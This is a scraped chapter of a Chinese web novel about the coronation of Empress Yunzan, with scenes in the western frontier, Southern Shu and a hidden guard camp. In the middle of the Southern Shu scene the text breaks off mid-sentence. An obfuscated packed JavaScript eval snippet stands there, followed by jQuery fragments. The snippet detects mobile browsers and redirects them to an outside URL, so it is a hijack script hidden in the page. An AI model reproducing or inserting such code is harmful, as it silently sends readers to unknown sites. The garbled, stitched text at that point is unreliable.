默认冷灰
24号文字
方正启体

12. 登基

作者:青山春雨本书字数:K更新时间:
    六月十八是个好日子。


    天不亮,云簪便被麻姑、菽娇、稷姜请起,在礼部官员的陪同下穿上了白底银边的孔雀明王礼服。


    上周崇尚水德,服饰多为黑色。


    大庆女帝以轩辕枪立国,五行崇金,庆帝服饰多以白色做底,金银丝、彩线绣绘凰鸟、孔雀、瑞兽祥云等图案。


    同时,女帝废除避讳制。民间百姓亦可以穿白戴金,或以云、簪为名。


    东都钟声六响,云簪一身精致孔雀袍,步上乾坤大殿。殿宇辉宏,左右宫道墙防处吹起长号,呼呼声昭示东都京城开启大朝会。


    东都百姓纷纷停下手上忙活,面朝庆宫,翘首以盼等待着钟鸣声。


    朱雀广场,白玉阶左右两侧,百官以孙衍几、东方川为首,迎面目送太女上凤凰台,入大朝殿,立在巍巍女帝身旁。


    明珰珠帘下,女帝幽深坚定的双眸微微露喜,紧紧地携握起太女的手,齐齐踏前一步。母女一起面向朝臣,齐听朝工拜会。


    朝臣百官从殿内至殿外,近二百多人依序跪拜:“陛下万岁万岁万万岁,殿下千岁千岁千千岁。”


    母女对视,婉婉一笑。女帝松开云簪的手,令国师行如宣读诏书。


    “奉天承运,皇帝诏曰:朕轩辕金簪,赖天地民心之请,立国为庆,镇四海安宁。


    赖天眷民佑,海内承平。今倦勤思退,祈万民有托。


    皇太女轩辕云簪,仁孝聪睿,克承大统。


    兹于永庆一十三年六月十八,禅位于皇太女云簪。即皇帝位,改元庆和。


    宇内臣工、天下府民,悉心辅弼,共扬宏业。钦此!”


    “陛下,万岁万岁万万岁。太上皇,万岁万岁万万岁。”


    云簪在朝臣的见证下换上凰鸟白金袍,戴上十二道流光溢彩的玉珠旒凰冠,双眸凝望阶下臣工。小小面容隐在珠旒之后,周身气宇不怒自威。


    双丞领百官再次叩首:“陛下,万岁万岁万万岁。”


    女帝手执轩辕枪,先将此枪移交给云簪。


    “此为轩辕枪,短身乌金,旋可变化。”她抚摸枪身,触及雪芒枪尖,低声吟道,“这是你父亲亲手改良过、雕磨过的枪。朕曾经拿它杀过摩尔雪狼王。


    今日,朕把它传给新帝。枪在,国在……”父母皆在!


    云簪双手托过轩辕枪,悬示百官面前。众朝臣再次跪拜山呼万岁。


    国师宣读祥照,再次上前,递上刻印“天下兵儒”的传承国玺。


    云簪从母皇手上接过分量颇重的国玺,单手托举,正面朝公。一手执枪,一手兵儒,正是大庆帝王的权力象征。


    朝臣再三叩拜,山呼万岁。


    国师宣布礼毕,东都九声钟鸣齐响,通天彻地,传遍宇内,寓意大庆永庆帝退位,传位于庆和帝轩辕云簪。


    东都百姓等得就是这一刻,心下叹息,面上恭敬地跪下,向庆宫方向叩首山呼。


    帝都钟鸣之声,伴随四方十三道的令兵,向大庆各府传达下去:永庆退位,庆和即位,天下传承已定!


    *


    西六府大都护府邸。


    日冕都护携带家眷、六府官司齐齐向东,敬香叩拜:一贺天下太平。二贺百姓安宁。三贺新帝即位,承永庆制,启庆和年。


    礼拜结束后,雪草城郡守蔓草、司马周鹰齐齐拜见日冕:“都护大人,此次新帝登基,陛下……不,太上皇邀请隔壁的北府清雅携女兵前往,未曾召见我西六府官吏入京贺岁。此番……是何道理?”


    日冕生得伟岸,年过五十,犹有风流之态。他哼笑了声,环顾周鹰等一众司马大人:“太上皇自有考量,吾等奉命镇守西六府,安一方太平,守一方天阙,自是好好守着便是。诸位,都护府已备下贺喜宴席,请诸位大人入席吧。”


    都护长子名唤轩辕清朗,年余三十,款款领诸位大人入宴会厅。


    蔓草年过四十,眉目生得霎是秀丽,不像中原与摩尔人的混血,更像周人血统。


    与他一起的周鹰形貌比轩辕日冕都护还要伟岸,一掌拍来,让轩辕清朗踉跄两步。


    “你什么意思,怎么这么对我大哥?”轩辕青虞不快道。


    他是都护日冕的幺儿,年不过十二,却是初生牛犊不怕虎,颇有几分胆气。


    轩辕清朗按住弟弟,朝周鹰拱手:“周大人,小弟莽撞,还请见谅。请这边走。”


    周鹰哼笑:“大公子,你家是轩辕后裔,京都如此做派是什么意思?防你们发派边塞的皇室家族!?”靠近他小声道,“呵,难道大公子甘心?待都护大人老去,西六府权柄收归朝廷,又会转交给谁?”


    轩辕清朗抿唇笑了声:“陛下虽未搬下世袭文书,但西六府全在我都护府掌握。”


    “哈哈哈……”蔓草笑道,“好天真的大公子。前周时期,西六府被摩尔人攻占,不就是因为地方道府拥兵自重,不听朝廷命令。待摩尔人攻来,反倒腹背受敌,导致西六府被摩尔人狼族彻底侵占百余年。”


    轩辕清朗扬眉:“蔓草大人说笑,如今摩尔人已被驱除至天阙山外,西六府再不会出现百年前的场景。”


    “说得好。”轩辕青虞大喊。


    周鹰踏步入厅,又回头来句:“太上皇可不是前周皇帝,她不会允许地方道府拥兵自重,调换都护势在必行。大都护无所谓,大公子可要三思而后行。”


    大公子清朗只笑不言,向他拱手示意。


    轩辕青虞反倒是蹙眉喊:“周大人什么意思?难道想扇动我父兄谋反?我爹虽姓轩辕,但从不把姓氏挂在嘴上,休要坏我父亲名声!”


    “哈哈哈,好可爱的小公子。”蔓草按住回转身的周鹰,眸含锐意,“小公子好气魄。西六府少有人敢跟周鹰叫板,蔓草甚是喜欢你。”


    “呸!你不过是周奴与摩尔人生的混血,因当年给太上皇带路进西六府而有半点功勋,有了如今的雪草城郡公之位。如今,你却是想……呜呜……”怂恿我父兄造反,你也想霸占现有官位吧?


    轩辕青虞被哥哥捂住嘴,更不理解哥哥为何宽待这种人。


    清朗呵斥弟弟,朝两人道:“诸位大人已经入厅,请两位大人入席。父亲已在厅内备下歌舞等候。”


    “呵,日冕大人还是如此风流。请吧。”蔓草携周鹰一起入场。


    厅内舞乐欢腾,觥筹交错,自是一派太平喜庆。


    *


    南蜀道府。


    五毒银花的官邸不像外头道府建得那般恢宏气派,乃是沿山势拾阶而上,山体一侧建民居宅楼,最上才是道府官邸。


    五毒银花头戴复杂漂亮的百花银饰,着一身束腰银蓝裙,走向发呆的儿子。


    “楚儿,在想什么?”


    楚天机穿一身南蜀红蓝袍,颇有几分“秀美”,听到母亲问话,回神行礼:“母亲。”


    五毒银花拍在他作揖的手背上:“不过四年,东都的规矩倒深入你的骨髓。”


    楚天机背手擦了两下,与母亲一起俯瞰山下鳞次栉比的吊脚民居:“母亲,父亲他……”在银花的目光下,一时不知如何开口。


    “东都人怎么说我和你父亲?”五毒银花坐在石桌前,倒杯油茶喝起来。


    “他们说父亲不爱母亲。若父亲不爱母亲,又为何有了孩儿?”


    五毒银花轻嗤,转眸看去:“你长大了。


    以前,你只知道漫山遍野乱跑,不是抓虫就是逗弄寨中人。


    如今,你从东都回来,学会坐下来安静思考。前日,我还看到你在房间里偷偷跳中原的舞蹈。”


    “……”楚天机脸色微红,“母亲,我在学枪法。”


    “陛下的轩辕枪术吧。”五毒银花倾身拉住他的手臂,把人拽坐在石凳上,“你只知道陛下的枪术以柔克刚,却不知道陛下真正厉害是一力降十会的力量。”


    “力量?”


    “不错。当年,陛下亲征西六府,对上房子那么大的雪狼王,用的是轩辕枪术中的力量,以至强克至猛。


    至于枪术中的柔巧之术,也只能应付普通兵战。”


    楚天机愤然起身:“陛下诓我!”


    “她怎么说的?”五毒银花听完后笑起来,“话也没错。《轩辕诀》帝王之术,传承自上古轩辕氏,向来是她们轩辕家的秘法。


    若你不抗拒成为太女夫,继续留在东都,她也会教你轩辕心法。”


    “母亲怎么这么信任陛下?”


    五毒银花的笑容含几分追忆,宛如晨间山雾,朦胧迷人。


    “因为你父亲。他信任陛下,我也信任她。何况,陛下从未让你父亲失望。”


    “可是,父亲战死了。陛下还活着。”语气中不无怨怪。


    “楚儿,别恨陛下,更不要迁怒云簪。


    你父亲为心中大义而死,为他楚氏历代夙愿战死疆场,他是英雄。”


    五毒银花握住楚天机的双手,轻拍着,“你父亲心中装的东西太多。他想不起爱我,更忘记爱他自己。


    但是,他爱天下的黎民百姓,爱心中那份大义。”


    楚天机抽出手,鼓起脸颊:“所以,他们说得对,父亲不爱母亲,也不爱我。”


    “但他是期待你出生的。你在娘的肚子里时,他亲自摸过你,感受过你的心跳。天机,不要听别人怎么说,用心去喜欢你父亲打下的天下吧。


    它也有你的一份。


    何况,你爹不在了,娘更得自由。阿娘也没为他守寡啊。”


    五毒银花起身,拉上楚天机,“走吧。东都钟声传来,太女继位。按照礼制,咱们得带三司官吏面向北方三跪九叩。”


    “……”楚天机一脸不愿意。


    “若你不回南蜀,现下应该是你和小女帝的大婚。”五毒银花含笑打趣。


    楚天机回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404797|184428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想东都生活,云簪的脸依然那么清晰,更清晰的是她乌黑如珠的双瞳,若不狡诈,该是何等漂亮。


    “幸好儿子回南蜀。”


    五毒银花嗤笑了声,令三司官吏准备好果品,领楚天机带地方官向北方三跪九叩。


    礼毕后,五毒银花笑道:“劳烦诸位大人跑一趟府邸,府内已经备下庆贺陛下登基的喜宴,请诸位大人前去享用。”


    “多谢府君,多谢楚国公。”三司官吏齐齐道谢,前去花厅用膳。


    银花拉住要跑的楚天机:“你也得去吃席,再者你是楚国公,更是天子代表!过今日,若东都没有来旨意,为娘也不催你过去。但是,你身边可不能有女侍啊。”


    楚天机抽了唇角:“过了今日,儿子就回五毒旧寨研究克制金蝉圣蛊的办法。”


    “……”五毒银花感觉儿子大了,不好沟通,“随你。”转身又向府衙、五毒寨发布阿姆令:南蜀女子不可靠近楚天机五步,违令者,五毒寨决不轻饶。


    南蜀以女子为尊,嫁娶承袭上周的女帝法制,多以男子走婚为主。


    蜀地最高的命令不是府君政令,而是五大寨姓氏里的阿姆命令。五毒银花是五毒寨的阿姆,又是南蜀府君,下达的阿姆令更是无人能违背。


    楚天机知道了这道令,气得连夜带游雀和飞鱼离开府君在的蜀中城,前往五毒寨旧地闭关。往后数年,南蜀女子好奇他的模样、长相,又因阿姆令激起她们的胜负欲,好奇好胜者常跑五毒寨旧址度邙山一探楚天机样貌性情,给他造成不小的麻烦。


    *


    隐卫营的别庄里,袁云昭看到训练回来的楚让,取出喜饼递去:“让哥哥,这是太女登基的喜饼。云儿特意给你留着呢。”


    楚让顿了顿,目色复杂地看向袁云昭。


    自从她去过皇宫回来,仪态举止完全变了样。


    人前更娇软柔和,人后偷偷练习陛下的神情、行路姿态。


    “不必了。”楚让冷淡道。


    “让哥哥,之前你不是这样……”袁云昭捏紧饼子,拦他,“你见过殿下后是不是喜欢上殿下?”


    “……”楚让侧眸,“你该称呼她为陛下。师父给我留有喜饼,多谢。”


    袁云昭不等他离开,跺脚哼了声,一把砸落喜饼,狠踩两下。


    楚让微顿,蹙紧眉宇,似从袁云昭漆黑得意的眼眸里看到些不熟悉的东西。


    不甚在意,直接转回院子。


    袁云昭留在原地,气鼓鼓地瞪向地上的饼子。


    她想起在东宫大殿坐着的味道,不过小小支棱额头,宫里的嬷嬷就会来关怀,领去香软舒适的殿宇休息。


    环顾眼前幽暗寂静的别庄,明明有那么多人在,却冷得像幽冥地府。


    副统领柏山路过亭园,敛眉道:“你在干什么?”


    “副统领!”袁云昭慌忙弯身捡喜饼,“我给让哥哥留了喜饼,可……不小心摔碎了。”


    柏山蹙眉:“你可知这是谁的喜饼?你说的是楚让吗?”


    “让哥哥不是故意的。我……递过去的时候不小心软了手,他……没接住。”


    柏山让她退下,自去寻楚让。


    楚让一边吃着师父留的饼子,一边单手提举石锁锻炼臂力。


    柏山过来后也不多问,直接道:“楚让,罚你今晚左右手加练三个时辰,静思己过。”


    楚让眨下眼,没吭声。


    柏山顺手抽走他手里的饼子:“不爱吃就别吃。”斜睨了一眼,边吃边走掉。


    楚让垂眸看地,思考了下,蹙紧眉、铆足劲,一次举起石锁,悬停两臂,筋肉绷鼓,憋红了脸。待实在撑不住才稳稳放下,周而复始,一直如此训练。


    夜半,袁云昭溜过来,拿块丝巾手帕给他擦汗。


    楚让微微撇脸,躲开她,岔气下石锁落地。


    袁云昭吓一跳,对上他阴沉的脸、愠怒的眸光,抿紧唇:“让哥哥,以前你都会帮小昭,而且你说过,我们是一样的人,咱们应该互相帮助。


    这话还算数吗?”


    “小昭?你以前叫冷青梅。”楚让看向她怀中露出一角的真丝手帕,扯起唇角,“入隐卫营第一天,师父教我们什么?”


    袁云昭想起那番话:


    “入隐卫者,抛弃姓氏名字,身无亲眷家人。


    你们的命属于大庆女帝,由她抚养你们长大,奉她为主,为陛下为百姓战至最后。


    此生尽忠职守、死而后已,天地誓言为证。”


    袁云昭深吸口气,咬牙道:“我们立下誓言,可他们还是不信任我们,喂我们吃什么生死蛊。”


    楚让默了下,望向天上明月,转身回房间:“我不会对副统领说今日的事,也请你好自为之。”


    “我!好自为之什么?”袁云昭暗吸口气,待房间门阖上,牵起唇角嗤笑了声,“笨蛋!”转回自个院子。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)